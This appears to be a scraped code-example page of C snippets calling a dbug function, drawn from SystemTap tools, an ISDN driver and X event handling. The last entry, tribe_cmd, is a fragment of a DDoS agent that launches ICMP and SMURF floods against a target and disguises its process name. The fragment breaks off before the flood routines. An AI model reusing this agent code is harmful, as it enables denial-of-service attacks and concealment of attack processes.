Ejemplo n.º 1
0
// Decode a quoted-printable string in-place
static int
qpdecode(char* s)
{
  char* o = s;
  while (*s)
    if (*s != '=')
      *o++ = *s++;
    else
      {
        if (s[1] == '\r' || s[1] == '\n')
          s += 2;
        else if (s[1] == '\r' && s[2] == '\n')
          s += 3;
        else if (!s[1] || !s[2])
          {
            dbug(2, "truncated quoted-printable escape \"%s\"\n", s);
            return 1;
          }
        else
          {
            errno = 0;
            char *end = 0, hex[] = { s[1], s[2], 0 };
            unsigned char c = strtol(hex, &end, 16);
            if (errno || end != hex + 2)
              {
                dbug(2, "invalid quoted-printable escape \"=%s\"\n", hex);
                return 1;
              }
            *o++ = c;
            s += 3;
          }
      }
  *o = '\0';
  return 0;
}
Ejemplo n.º 2
0
int main(int argc, char **argv)
{
#if ENABLE_NLS
	setlocale (LC_ALL, "");
	bindtextdomain (PACKAGE, LOCALEDIR);
	textdomain (PACKAGE);
#endif
	setup_signals();
	parse_args(argc, argv);

        /* If we inherited a relay_basedir_fd, we want to keep it to ourselves -
           i.e., FD_CLOEXEC the bad boy. */
        if (relay_basedir_fd >= 0) {
                int rc =  set_clexec(relay_basedir_fd);
                if (rc) 
                        exit(-1);
        }


	if (buffer_size)
		dbug(1, "Using a buffer of %u MB.\n", buffer_size);

	if (optind < argc) {
		parse_modpath(argv[optind++]);
		dbug(2, "modpath=\"%s\", modname=\"%s\"\n", modpath, modname);
	}

	if (optind < argc) {
		if (attach_mod) {
			err(_("Cannot have module options with attach (-A).\n"));
			usage(argv[0],1);
		} else {
			unsigned start_idx = 3;	/* reserve three slots in modoptions[] */
			while (optind < argc && start_idx + 1 < MAXMODOPTIONS)
				modoptions[start_idx++] = argv[optind++];
			modoptions[start_idx] = NULL;
		}
	}

	if (modpath == NULL || *modpath == '\0') {
		err(_("Need a module name or path to load.\n"));
		usage(argv[0],1);
	}

	if (init_stapio())
		exit(1);

	if (stp_main_loop()) {
		err(_("Couldn't enter main loop. Exiting.\n"));
		exit(1);
	}

	return 0;
}
Ejemplo n.º 3
0
/**************************
*查询feature哈希表
*参数1“GHashTable* hash”,hash是哈希表
*参数2“int hash_type",是哈希类型,1,2,3,4分别对应white   person   group whole
***************************/
void feature_hase_table_find(GHashTable* hash,int hash_type)
{
    dbug("######################## %d",hash_type);
    // g_hash_table_foreach(hash, (GHFunc)iterator_feature, "The hash of %s is %s  ");
    /*
        gboolean result = g_hash_table_lookup_extended(hash, "192.168.1.22", (gpointer*)key_ptr, (gpointer*)value_ptr);
     if (result)
      {
      g_printf("Found that the %s >>>>>>>>> %s", capital, state);
     }
    */
    dbug("######################## %d",hash_type);
}
Ejemplo n.º 4
0
/* Processes the command currently waiting on the given stream.
 * If the command is set to be handled by PROPAGATE, it will be sent through
 * prop; it is an error if prop is NULL and PROPAGATE is reached.
 */
enum error
handle_cmd(void *usr, const struct cmd *cmds, FILE *in, FILE *prop)
{
	ssize_t		length;
	enum error	err = E_OK;
	char           *buffer = NULL;
	char           *word = NULL;
	char           *arg = NULL;
	char           *end = NULL;
	size_t		num_bytes = 0;

	length = getline(&buffer, &num_bytes, in);
	dbug("got command: %s", buffer);

	/* Silently fail if the command is actually end of file */
	if (length == -1) {
		dbug("end of file");
		err = E_EOF;
	}
	if (err == E_OK) {
		end = (buffer + length);

		word = skip_space(buffer);
		if (*word == '\0')
			err = error(E_BAD_COMMAND, MSG_CMD_NOWORD);
	}
	if (err == E_OK) {
		/* Set up the argument, replace space around it with nullchar */
		arg = nullify_space(skip_nonspace(word));
		if (*arg == '\0')
			arg = NULL;
		else
			nullify_tspace(buffer + length - 1);

		err = exec_cmd(usr, cmds, word, arg, prop);

		if (err == E_OK) {
			if (arg == NULL)
				response(R_OKAY, "%s", word);
			else
				response(R_OKAY, "%s %s", word, arg);
		} else if (err == E_COMMAND_IGNORED)
			err = E_OK;
	}
	dbug("command processed");
	free(buffer);

	return err;
}
Ejemplo n.º 5
0
int main(int argc, char const* argv[])
{
    flags f;
    f.is_keyword = 1;
    f.is_extern = 1;
    f.is_static = 0;
    f.is_const = 0;

    dbug(f.is_keyword);
    dbug(f.is_extern);
    dbug(f.is_static);
    dbug(f.is_const);

    return 0;
}
Ejemplo n.º 6
0
int init_ctl_channel(const char *name, int verb)
{
	char buf[PATH_MAX];
	struct statfs st;
	int old_transport = 0;

	if (statfs("/sys/kernel/debug", &st) == 0 && (int)st.f_type == (int)DEBUGFS_MAGIC) {
		if (sprintf_chk(buf, "/sys/kernel/debug/systemtap/%s/.cmd", name))
			return -1;
	} else {
		old_transport = 1;
		if (sprintf_chk(buf, "/proc/systemtap/%s/.cmd", name))
			return -2;
	}

	control_channel = open(buf, O_RDWR);
	dbug(2, "Opened %s (%d)\n", buf, control_channel);
	if (control_channel < 0) {
		if (verb) {
			if (attach_mod && errno == ENOENT)
				err("ERROR: Can not attach. Module %s not running.\n", name);
			else
				perr("Couldn't open control channel '%s'", buf);
		}
		return -3;
	}
	if (set_clexec(control_channel) < 0)
		return -4;

	return old_transport;
}
Ejemplo n.º 7
0
/**
 *	close_all_relayfs_files - close and munmap buffers and output files
 */
void close_oldrelayfs(int detach)
{
	int i;

	if (!bulkmode)
		return;
	
	dbug(2, "detach=%d, ncpus=%d\n", detach, ncpus);
	
	if (detach) {
		for (i = 0; i < ncpus; i++)
			if (reader[i])
			#ifdef __ANDROID__
				pthread_kill(reader[i], SIGTERM);
			#else
				pthread_cancel(reader[i]);
			#endif

	} else {
		for (i = 0; i < ncpus; i++)
			if (reader[i]) pthread_join(reader[i], NULL);
	}
	
	for (i = 0; i < ncpus; i++)
		close_relayfs_files(i);
}
Ejemplo n.º 8
0
void close_ctl_channel(void)
{
	if (control_channel >= 0) {
          	dbug(2, "Closed ctl fd %d\n", control_channel);
		close(control_channel);
		control_channel = -1;
	}
}
Ejemplo n.º 9
0
int main(int argc, char **argv)
{
	setup_signals();
	parse_args(argc, argv);

	if (buffer_size)
		dbug(1, "Using a buffer of %u MB.\n", buffer_size);

	if (optind < argc) {
		parse_modpath(argv[optind++]);
		dbug(2, "modpath=\"%s\", modname=\"%s\"\n", modpath, modname);
	}

	if (optind < argc) {
		if (attach_mod) {
			err("ERROR: Cannot have module options with attach (-A).\n");
			usage(argv[0]);
		} else {
			unsigned start_idx = 3;	/* reserve three slots in modoptions[] */
			while (optind < argc && start_idx + 1 < MAXMODOPTIONS)
				modoptions[start_idx++] = argv[optind++];
			modoptions[start_idx] = NULL;
		}
	}

	if (modpath == NULL || *modpath == '\0') {
		err("ERROR: Need a module name or path to load.\n");
		usage(argv[0]);
	}

	if (init_stapio())
		exit(1);

	if (stp_main_loop()) {
		err("ERROR: Couldn't enter main loop. Exiting.\n");
		exit(1);
	}

	return 0;
}
Ejemplo n.º 10
0
static void
process_command(void)
{
  static int no_cmd_yet = 1;
  char command[4096];

  // This could technically block if only a partial command is received, but
  // stap commands are short and always end in \n. Even if we do block it's not
  // so bad a thing.
  if (fgets(command, sizeof(command), stapsh_in) == NULL)
    {
      if (feof(stapsh_in)) // no more stap commands coming
        pfds[PFD_STAP_OUT].events = 0;
      return;
    }

  dbug(1, "command: %s", command);
  const char* arg = strtok(command, STAPSH_TOK_DELIM) ?: "(null)";

  // If this is the first command and we're in listening mode, the only
  // acceptable command is "stap". This is necessary because there can be
  // data leftover in the buffer from a previous session
  if (no_cmd_yet && listening_port != NULL && strcmp(arg, "stap") != 0)
    return;
  no_cmd_yet = 0;

  unsigned i;
  for (i = 0; i < ncommands; ++i)
    if (strcmp(arg, commands[i].name) == 0)
      {
        int rc = commands[i].fn();
        if (rc)
          dbug(2, "failed command %s, rc=%d\n", arg, rc);
        break;
      }

  if (i >= ncommands)
    dbug(2, "invalid command %s\n", arg);
}
Ejemplo n.º 11
0
static int switch_outfile(int cpu, int *fnum)
{
    int remove_file = 0;

    dbug(3, "thread %d switching file\n", cpu);
    close(out_fd[cpu]);
    *fnum += 1;
    if (fnum_max && *fnum >= fnum_max)
        remove_file = 1;
    if (open_outfile(*fnum, cpu, remove_file) < 0) {
        perr("Couldn't open file for cpu %d, exiting.", cpu);
        return -1;
    }
    return 0;
}
Ejemplo n.º 12
0
static int switch_oldoutfile(int cpu, struct switchfile_ctrl_block *scb)
{
	dbug(3, "thread %d switching file\n", cpu);
	if (percpu_tmpfile[cpu])
		fclose(percpu_tmpfile[cpu]);
	else
		close(out_fd[cpu]);
	scb->fnum ++;
	if (fnum_max && scb->fnum == fnum_max)
		scb->rmfile = 1;
	if (open_oldoutfile(scb->fnum, cpu, scb->rmfile) < 0) {
		perr("Couldn't open file for cpu %d, exiting.", cpu);
		return -1;
	}
	return 0;
}
Ejemplo n.º 13
0
static void
prefix_staprun(int i, FILE *out, const char *stream)
{
  char buf[4096];
  ssize_t n = read(pfds[i].fd, buf, sizeof buf);
  if (n > 0)
    {
      // actually check if we need to prefix data (we could also be piping for
      // other reasons, e.g. listening_mode != NULL)
      if (prefix_data)
        fprintf(out, "data %s %zd\n", stream, n);
      if (fwrite(buf, n, 1, out) != 1)
        dbug(2, "failed fwrite\n"); // appease older gccs (don't ignore fwrite rc)
      fflush(out);
    }
  else if (n == 0) // eof
    pfds[i].events = 0;
}
Ejemplo n.º 14
0
static int
do_option()
{
  char *opt = strtok(NULL, STAPSH_TOK_DELIM);
  if (opt == NULL)
    return reply("ERROR: Could not parse option\n");

  // find and affect option
  unsigned i;
  for (i = 0; i < noptions; ++i)
    if (strcmp(opt, options[i].name) == 0)
      {
        dbug(2, "turning on option %s\n", opt);
        (*options[i].var)++;
        reply("OK\n");
        return 0;
      }
  return reply("ERROR: Invalid option\n");
}
Ejemplo n.º 15
0
/**
 *	close_all_relayfs_files - close and munmap buffers and output files
 */
void close_oldrelayfs(int detach)
{
	int i;

	if (!bulkmode)
		return;
	
	dbug(2, "detach=%d, ncpus=%d\n", detach, ncpus);
	
	if (detach) {
		for (i = 0; i < ncpus; i++)
			if (reader[i]) pthread_cancel(reader[i]);
	} else {
		for (i = 0; i < ncpus; i++)
			if (reader[i]) pthread_join(reader[i], NULL);
	}
	
	for (i = 0; i < ncpus; i++)
		close_relayfs_files(i);
}
Ejemplo n.º 16
0
int init_ctl_channel(const char *name, int verb)
{
	char buf[PATH_MAX];
	struct statfs st;
	int old_transport = 0;

	if (statfs("/sys/kernel/debug", &st) == 0 && (int)st.f_type == (int)DEBUGFS_MAGIC) {
		if (sprintf_chk(buf, "/sys/kernel/debug/systemtap/%s/.cmd", name))
			return -1;
	} else {
		old_transport = 1;
		if (sprintf_chk(buf, "/proc/systemtap/%s/.cmd", name))
			return -2;
	}

	control_channel = open(buf, O_RDWR);
	dbug(2, "Opened %s (%d)\n", buf, control_channel);

/* It's actually safe to do this check before the open(),
 * as the file we're trying to access connot be modified
 * by a typical user.
 */
	if (access(buf, R_OK|W_OK) != 0){
		close(control_channel);
		return -5;
	}

	if (control_channel < 0) {
		if (verb) {
			if (attach_mod && errno == ENOENT)
				err(_("ERROR: Can not attach. Module %s not running.\n"), name);
			else
				perr(_("Couldn't open control channel '%s'"), buf);
		}
		return -3;
	}
	if (set_clexec(control_channel) < 0)
		return -4;

	return old_transport;
}
Ejemplo n.º 17
0
/**************************
*插入feature哈希表,暂时没用这函数
***************************/
void feature_hase_table_insert(char *  port_and_level,char * feature)
{
    dbug("##################################3");
    g_hash_table_insert(port_feature_hash_list, port_and_level, feature);

}
Ejemplo n.º 18
0
/**
 *	open_relayfs_files - open and mmap buffer and open output file.
 *	Returns -1 on unexpected failure, 0 if file not found, 1 on success.
 */
static int open_relayfs_files(int cpu, const char *relay_filebase, const char *proc_filebase)
{
	size_t total_bufsize;
	char tmp[PATH_MAX];

	memset(&status[cpu], 0, sizeof(struct buf_status));
	status[cpu].info.cpu = cpu;

	if (sprintf_chk(tmp, "%s%d", relay_filebase, cpu))
		return -1;
	dbug(2, "Opening %s.\n", tmp); 
	relay_fd[cpu] = open(tmp, O_RDONLY | O_NONBLOCK);
	if (relay_fd[cpu] < 0 || set_clexec(relay_fd[cpu]) < 0) {
		relay_fd[cpu] = 0;
		return 0;
	}

	if (sprintf_chk(tmp, "%s%d", proc_filebase, cpu))
		goto err1;
	dbug(2, "Opening %s.\n", tmp); 
	proc_fd[cpu] = open(tmp, O_RDWR | O_NONBLOCK);
	if (proc_fd[cpu] < 0) {
		perr("Couldn't open proc file %s", tmp);
		goto err1;
	}
	if (set_clexec(relay_fd[cpu]) < 0) {
		relay_fd[cpu] = 0;
		return -1;
	}

	if (fsize_max) {
		if (init_backlog(cpu) < 0)
			goto err2;
		if (open_oldoutfile(0, cpu, 0) < 0)
			goto err2;
		goto opened;
	}
	if (outfile_name) {
		/* special case: for testing we sometimes want to
		 * write to /dev/null */
		if (strcmp(outfile_name, "/dev/null") == 0) {
			strcpy(tmp, "/dev/null");
		} else {
			int len;
			len = stap_strfloctime(tmp, PATH_MAX, outfile_name, time(NULL));
			if (len < 0) {
				err("Invalid FILE name format\n");
				goto err2;
			}
			if (snprintf_chk(&tmp[len], PATH_MAX - len, "_%d", cpu))
				goto err2;
		}
	} else {
		if (sprintf_chk(tmp, "stpd_cpu%d", cpu))
			goto err2;
	}

	if((percpu_tmpfile[cpu] = fopen(tmp, "w+")) == NULL) {
		perr("Couldn't open output file %s", tmp);
		goto err2;
	}
	out_fd[cpu] = fileno(percpu_tmpfile[cpu]);
	if (set_clexec(out_fd[cpu]) < 0) {
		perr("Couldn't open output file %s", tmp);
		goto err2;
	}
opened:

	total_bufsize = subbuf_size * n_subbufs;
	relay_buffer[cpu] = mmap(NULL, total_bufsize, PROT_READ,
				 MAP_PRIVATE | MAP_POPULATE, relay_fd[cpu],
				 0);
	if(relay_buffer[cpu] == MAP_FAILED)
	{
		_perr("Couldn't mmap relay file, total_bufsize (%d)"	\
		     "= subbuf_size (%d) * n_subbufs(%d)",
		     (int)total_bufsize, (int)subbuf_size, (int)n_subbufs);
		goto err3;
	}
	
	return 1;
	
err3:
	fclose(percpu_tmpfile[cpu]);
err2:
	close (proc_fd[cpu]);
err1:
	close (relay_fd[cpu]);
	relay_fd[cpu] = 0;
	return -1;

}
Ejemplo n.º 19
0
int init_ctl_channel(const char *name, int verb)
{
	char buf[PATH_MAX];
	struct statfs st;
	int old_transport = 0;

        (void) verb;
        if (0) goto out; /* just to defeat gcc warnings */

	/* Before trying to open the control channel, make sure it
	 * isn't already open. */
	close_ctl_channel();

#ifdef HAVE_OPENAT
        if (relay_basedir_fd >= 0) {
                strncpy(buf, CTL_CHANNEL_NAME, PATH_MAX);
                control_channel = openat_cloexec(relay_basedir_fd,
						 CTL_CHANNEL_NAME, O_RDWR, 0);
                dbug(2, "Opened %s (%d)\n", CTL_CHANNEL_NAME, control_channel);

                /* NB: Extra real-id access check as below */
                if (faccessat(relay_basedir_fd, CTL_CHANNEL_NAME, R_OK|W_OK, 0) != 0){
                        close(control_channel);
                        return -5;
                }
                if (control_channel >= 0)
                        goto out; /* It's OK to bypass the [f]access[at] check below,
                                     since this would only occur the *second* time 
                                     staprun tries this gig, or within unprivileged stapio. */
        }
        /* PR14245, NB: we fall through to /sys ... /proc searching,
           in case the relay_basedir_fd option wasn't given (i.e., for
           early in staprun), or if errors out for some reason. */
#endif

	if (statfs("/sys/kernel/debug", &st) == 0 && (int)st.f_type == (int)DEBUGFS_MAGIC) {
                /* PR14245: allow subsequent operations, and if
                   necessary, staprun->stapio forks, to reuse an fd for 
                   directory lookups (even if some parent directories have
                   perms 0700. */
#ifdef HAVE_OPENAT
                if (! sprintf_chk(buf, "/sys/kernel/debug/systemtap/%s", name)) {
                        relay_basedir_fd = open (buf, O_DIRECTORY | O_RDONLY);
                        /* If this fails, we don't much care; the
                           negative return value will just keep us
                           looking up by name again next time. */
                        /* NB: we don't plan to close this fd, so that we can pass
                           it across staprun->stapio fork/execs. */
                }
#endif
		if (sprintf_chk(buf, "/sys/kernel/debug/systemtap/%s/%s", 
                                name, CTL_CHANNEL_NAME))
			return -1;
	} else {
		old_transport = 1;
		if (sprintf_chk(buf, "/proc/systemtap/%s/%s", name, CTL_CHANNEL_NAME))
			return -2;
	}

	control_channel = open_cloexec(buf, O_RDWR, 0);
	dbug(2, "Opened %s (%d)\n", buf, control_channel);

	/* NB: Even if open() succeeded with effective-UID permissions, we
	 * need the access() check to make sure real-UID permissions are also
	 * sufficient.  When we run under the setuid staprun, effective and
	 * real UID may not be the same.  Specifically, we want to prevent 
         * a local stapusr from trying to attach to a different stapusr's module.
	 *
	 * The access() is done *after* open() to avoid any TOCTOU-style race
	 * condition.  We believe it's probably safe either way, as the file
	 * we're trying to access connot be modified by a typical user, but
	 * better safe than sorry.
	 */
#ifdef HAVE_OPENAT
        if (control_channel >= 0 && relay_basedir_fd >= 0) {
                if (faccessat (relay_basedir_fd, CTL_CHANNEL_NAME, R_OK|W_OK, 0) == 0)
                        goto out;
                /* else fall through */
        }
#endif
	if (control_channel >= 0 && access(buf, R_OK|W_OK) != 0) {
		close(control_channel);
		return -5;
	}

out:
	if (control_channel < 0) {
                err(_("Cannot attach to module %s control channel; not running?\n"),
                    name);
		return -3;
	}
	return old_transport;
}
Ejemplo n.º 20
0
void doXevent(char *s) {

    double x,y;
    XEvent xe;
    unsigned long all = 0xffffffff;
    int debug=0;

    while (XCheckMaskEvent(dpy, all, &xe)) { /* pending X Event */
        switch (xe.type) {
        case Expose:
            dbug("got Expose",debug);
            if (xe.xexpose.count != 0)
                break;
            if (xe.xexpose.window == win) {
	       //if (!need_redraw) redraw();
	       need_redraw++;
            } 
            break;
	case ReparentNotify:
	    break;
	case UnmapNotify:
	case MapNotify:
	    // if (!need_redraw) redraw();
	    need_redraw++;
	    break;
        case ConfigureNotify:
            dbug("got Configure Notify",debug);
	    width = xe.xconfigure.width;
	    height = xe.xconfigure.height;
	    if (XEventsQueued(dpy, QueuedAfterFlush) == 0) {
	        // if (!need_redraw) redraw();
    		need_redraw++;
	    }
            break;
        case MotionNotify:
            dbug("got Motion",debug);
            // x = (double) xe.xmotion.x;
            // y = (double) xe.xmotion.y;
            break;
        case ButtonRelease:
            x = (double) xe.xmotion.x;
            y = (double) xe.xmotion.y;
	    button(x,y,xe.xbutton.button,0);
            dbug("got ButtonRelease",debug);
            break;
        case ButtonPress:
            x= (double) xe.xmotion.x;
            y= (double) xe.xmotion.y;
	    button(x,y,xe.xbutton.button,1);
            dbug("got ButtonPress",debug);
            break;
        case KeyPress:
            dbug("got KeyPress",debug);
            break;
        default:
            fprintf(stderr,"got unexpected default event: %s\n",
		event_names[xe.type]);
            break;
        }
    }
}
Ejemplo n.º 21
0
/*------------------------------------------------------------------*/
static byte isdn_ind(ADAPTER *a,
		     byte Ind,
		     byte Id,
		     byte Ch,
		     PBUFFER *RBuffer,
		     byte MInd,
		     word MLength)
{
	ENTITY *this;
	word clength;
	word offset;
	BUFFERS *R;
	byte *cma = NULL;
#ifdef USE_EXTENDED_DEBUGS
	{
		DBG_TRC(("<A%d Id=0x%x Ind=0x%x", ((ISDN_ADAPTER *)a->io)->ANum, Id, Ind))
			}
#else
	dbug(dprintf("isdn_ind(Ind=%x,Id=%x,Ch=%x)", Ind, Id, Ch));
#endif
	if (a->IdTable[Id]) {
		this = entity_ptr(a, a->IdTable[Id]);
		this->IndCh = Ch;
		xdi_xlog_ind(XDI_A_NR(a), Id, Ch, Ind,
			     0/* rnr_valid */, 0 /* rnr */, a->IdTypeTable[this->No]);
		/* if the Receive More flag is not yet set, this is the     */
		/* first buffer of the packet                               */
		if (this->RCurrent == 0xff) {
			/* check for receive buffer chaining                        */
			if (Ind == this->MInd) {
				this->complete = 0;
				this->Ind = MInd;
			}
			else {
				this->complete = 1;
				this->Ind = Ind;
			}
			/* call the application callback function for the receive   */
			/* look ahead                                               */
			this->RLength = MLength;
#if defined(DIVA_ISTREAM)
			if ((a->rx_stream[this->Id] ||
			     (a->misc_flags_table[this->No] & DIVA_MISC_FLAGS_RX_DMA)) &&
			    ((Ind == N_DATA) ||
			     (a->protocol_capabilities & PROTCAP_CMA_ALLPR))) {
				PISDN_ADAPTER IoAdapter = (PISDN_ADAPTER)a->io;
				if (a->misc_flags_table[this->No] & DIVA_MISC_FLAGS_RX_DMA) {
#if defined(DIVA_IDI_RX_DMA)
					dword d;
					diva_get_dma_map_entry(\
						(struct _diva_dma_map_entry *)IoAdapter->dma_map,
						(int)a->rx_stream[this->Id], (void **)&cma, &d);
#else
					cma = &a->stream_buffer[0];
					cma[0] = cma[1] = cma[2] = cma[3] = 0;
#endif
					this->RLength = MLength = (word)*(dword *)cma;
					cma += 4;
				} else {
					int final = 0;
					cma = &a->stream_buffer[0];
					this->RLength = MLength = (word)diva_istream_read(a,
											  Id,
											  cma,
											  sizeof(a->stream_buffer),
											  &final, NULL, NULL);
				}
				IoAdapter->RBuffer.length = min(MLength, (word)270);
				if (IoAdapter->RBuffer.length != MLength) {
					this->complete = 0;
				} else {
					this->complete = 1;
				}
				memcpy(IoAdapter->RBuffer.P, cma, IoAdapter->RBuffer.length);
				this->RBuffer = (DBUFFER *)&IoAdapter->RBuffer;
			}
#endif
			if (!cma) {
				a->ram_look_ahead(a, RBuffer, this);
			}
			this->RNum = 0;
			CALLBACK(a, this);
			/* map entity ptr, selector could be re-mapped by call to   */
			/* IDI from within callback                                 */
			this = entity_ptr(a, a->IdTable[Id]);
			xdi_xlog_ind(XDI_A_NR(a), Id, Ch, Ind,
				     1/* rnr_valid */, this->RNR/* rnr */, a->IdTypeTable[this->No]);
			/* check for RNR                                            */
			if (this->RNR == 1) {
				this->RNR = 0;
				return 1;
			}
			/* if no buffers are provided by the application, the       */
			/* application want to copy the data itself including       */
			/* N_MDATA/LL_MDATA chaining                                */
			if (!this->RNR && !this->RNum) {
				xdi_xlog_ind(XDI_A_NR(a), Id, Ch, Ind,
					     2/* rnr_valid */, 0/* rnr */, a->IdTypeTable[this->No]);
				return 0;
			}
			/* if there is no RNR, set the More flag                    */
			this->RCurrent = 0;
			this->ROffset = 0;
		}
Ejemplo n.º 22
0
/*------------------------------------------------------------------*/
static byte isdn_rc(ADAPTER *a,
		    byte Rc,
		    byte Id,
		    byte Ch,
		    word Ref,
		    dword extended_info_type,
		    dword extended_info)
{
	ENTITY *this;
	byte e_no;
	word i;
	int cancel_rc;
#ifdef USE_EXTENDED_DEBUGS
	{
		DBG_TRC(("<A%d Id=0x%x Rc=0x%x", ((ISDN_ADAPTER *)a->io)->ANum, Id, Rc))
			}
#else
	dbug(dprintf("isdn_rc(Rc=%x,Id=%x,Ch=%x)", Rc, Id, Ch));
#endif
	/* check for ready interrupt                                */
	if (Rc == READY_INT) {
		xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 0, 0);
		if (a->ReadyInt) {
			a->ReadyInt--;
			return 0;
		}
		return 2;
	}
	/* if we know this Id ...                                   */
	e_no = a->IdTable[Id];
	if (e_no) {
		this = entity_ptr(a, e_no);
		xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 0, a->IdTypeTable[this->No]);
		this->RcCh = Ch;
		/* if it is a return code to a REMOVE request, remove the   */
		/* Id from our table                                        */
		if ((a->misc_flags_table[e_no] & DIVA_MISC_FLAGS_REMOVE_PENDING) &&
		    (Rc == OK)) {
			if (a->IdTypeTable[e_no] == NL_ID) {
				if (a->RcExtensionSupported &&
				    (extended_info_type != DIVA_RC_TYPE_REMOVE_COMPLETE)) {
					dtrc(dprintf("XDI: N-REMOVE, A(%02x) Id:%02x, ignore RC=OK",
						     XDI_A_NR(a), Id));
					return (0);
				}
				if (extended_info_type == DIVA_RC_TYPE_REMOVE_COMPLETE)
					a->RcExtensionSupported = true;
			}
			a->misc_flags_table[e_no] &= ~DIVA_MISC_FLAGS_REMOVE_PENDING;
			a->misc_flags_table[e_no] &= ~DIVA_MISC_FLAGS_NO_RC_CANCELLING;
			free_entity(a, e_no);
			for (i = 0; i < 256; i++)
			{
				if (a->FlowControlIdTable[i] == Id)
					a->FlowControlIdTable[i] = 0;
			}
			a->IdTable[Id] = 0;
			this->Id = 0;
			/* ---------------------------------------------------------------
			   If we send N_DISC or N_DISK_ACK after we have received OK_FC
			   then the card will respond with OK_FC and later with RC==OK.
			   If we send N_REMOVE in this state we will receive only RC==OK
			   This will create the state in that the XDI is waiting for the
			   additional RC and does not delivery the RC to the client. This
			   code corrects the counter of outstanding RC's in this case.
			   --------------------------------------------------------------- */
			if ((this->More & XMOREC) > 1) {
				this->More &= ~XMOREC;
				this->More |= 1;
				dtrc(dprintf("XDI: correct MORE on REMOVE A(%02x) Id:%02x",
					     XDI_A_NR(a), Id));
			}
		}
		if (Rc == OK_FC) {
			a->FlowControlIdTable[Ch] = Id;
			a->FlowControlSkipTable[Ch] = false;
			this->Rc = Rc;
			this->More &= ~(XBUSY | XMOREC);
			this->complete = 0xff;
			xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 1, a->IdTypeTable[this->No]);
			CALLBACK(a, this);
			return 0;
		}
		/*
		  New protocol code sends return codes that comes from release
		  of flow control condition marked with DIVA_RC_TYPE_OK_FC extended
		  information element type.
		  If like return code arrives then application is able to process
		  all return codes self and XDI should not cances return codes.
		  This return code does not decrement XMOREC partial return code
		  counter due to fact that it was no request for this return code,
		  also XMOREC was not incremented.
		*/
		if (extended_info_type == DIVA_RC_TYPE_OK_FC) {
			a->misc_flags_table[e_no] |= DIVA_MISC_FLAGS_NO_RC_CANCELLING;
			this->Rc = Rc;
			this->complete = 0xff;
			xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 1, a->IdTypeTable[this->No]);
			DBG_TRC(("XDI OK_FC A(%02x) Id:%02x Ch:%02x Rc:%02x",
				 XDI_A_NR(a), Id, Ch, Rc))
				CALLBACK(a, this);
			return 0;
		}
		cancel_rc = !(a->misc_flags_table[e_no] & DIVA_MISC_FLAGS_NO_RC_CANCELLING);
		if (cancel_rc && (a->FlowControlIdTable[Ch] == Id))
		{
			a->FlowControlIdTable[Ch] = 0;
			if ((Rc != OK) || !a->FlowControlSkipTable[Ch])
			{
				this->Rc = Rc;
				if (Ch == this->ReqCh)
				{
					this->More &= ~(XBUSY | XMOREC);
					this->complete = 0xff;
				}
				xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 1, a->IdTypeTable[this->No]);
				CALLBACK(a, this);
			}
			return 0;
		}
		if (this->More & XMOREC)
			this->More--;
		/* call the application callback function                   */
		if (((!cancel_rc) || (this->More & XMOREF)) && !(this->More & XMOREC)) {
			this->Rc = Rc;
			this->More &= ~XBUSY;
			this->complete = 0xff;
			xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 1, a->IdTypeTable[this->No]);
			CALLBACK(a, this);
		}
		return 0;
	}
	/* if it's an ASSIGN return code check if it's a return     */
	/* code to an ASSIGN request from us                        */
	if ((Rc & 0xf0) == ASSIGN_RC) {
		e_no = get_assign(a, Ref);
		if (e_no) {
			this = entity_ptr(a, e_no);
			this->Id = Id;
			xdi_xlog_rc_event(XDI_A_NR(a), Id, Ch, Rc, 2, a->IdTypeTable[this->No]);
			/* call the application callback function                   */
			this->Rc = Rc;
			this->More &= ~XBUSY;
			this->complete = 0xff;
#if defined(DIVA_ISTREAM) /* { */
			if ((Rc == ASSIGN_OK) && a->ram_offset &&
			    (a->IdTypeTable[this->No] == NL_ID) &&
			    ((extended_info_type == DIVA_RC_TYPE_RX_DMA) ||
			     (extended_info_type == DIVA_RC_TYPE_CMA_PTR)) &&
			    extended_info) {
				dword offset = (*(a->ram_offset)) (a);
				dword tmp[2];
				extended_info -= offset;
#ifdef PLATFORM_GT_32BIT
				a->ram_in_dw(a, (void *)ULongToPtr(extended_info), (dword *)&tmp[0], 2);
#else
				a->ram_in_dw(a, (void *)extended_info, (dword *)&tmp[0], 2);
#endif
				a->tx_stream[Id]  = tmp[0];
				a->rx_stream[Id]  = tmp[1];
				if (extended_info_type == DIVA_RC_TYPE_RX_DMA) {
					DBG_TRC(("Id=0x%x RxDMA=%08x:%08x",
						 Id, a->tx_stream[Id], a->rx_stream[Id]))
						a->misc_flags_table[this->No] |= DIVA_MISC_FLAGS_RX_DMA;
				} else {
					DBG_TRC(("Id=0x%x CMA=%08x:%08x",
						 Id, a->tx_stream[Id], a->rx_stream[Id]))
						a->misc_flags_table[this->No] &= ~DIVA_MISC_FLAGS_RX_DMA;
					a->rx_pos[Id]     = 0;
					a->rx_stream[Id] -= offset;
				}
				a->tx_pos[Id]     = 0;
				a->tx_stream[Id] -= offset;
			} else {
				a->tx_stream[Id] = 0;
				a->rx_stream[Id] = 0;
				a->misc_flags_table[this->No] &= ~DIVA_MISC_FLAGS_RX_DMA;
			}
#endif /* } */
			CALLBACK(a, this);
			if (Rc == ASSIGN_OK) {
				a->IdTable[Id] = e_no;
			}
			else
			{
				free_entity(a, e_no);
				for (i = 0; i < 256; i++)
				{
					if (a->FlowControlIdTable[i] == Id)
						a->FlowControlIdTable[i] = 0;
				}
				a->IdTable[Id] = 0;
				this->Id = 0;
			}
			return 1;
		}
	}
	return 2;
}
Ejemplo n.º 23
0
void
tribe_cmd (char id, char *target, char **argp)
{
#ifdef ATTACKLOG
  {
    char tmp[BS];
    sprintf (tmp, "PID %d CMD '%c' TARGET %s\n"
	     ,getpid (), id, target);
    dbug (tmp);
  }
#endif

  switch (id)
    {
    case ID_ICMP:
      if (fw00ding)		/* already in progress, ignored */
	break;
      fw00ding = 3;		/* commencing ICMP/8 flood */
      strcpy (argp[0], HIDEKIDS);
      commence_icmp (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_SMURF:
      if (fw00ding)		/* already in progress, ignored */
	break;
      fw00ding = 4;		/* commencing SMURF broadcast flood */
      strcpy (argp[0], HIDEKIDS);
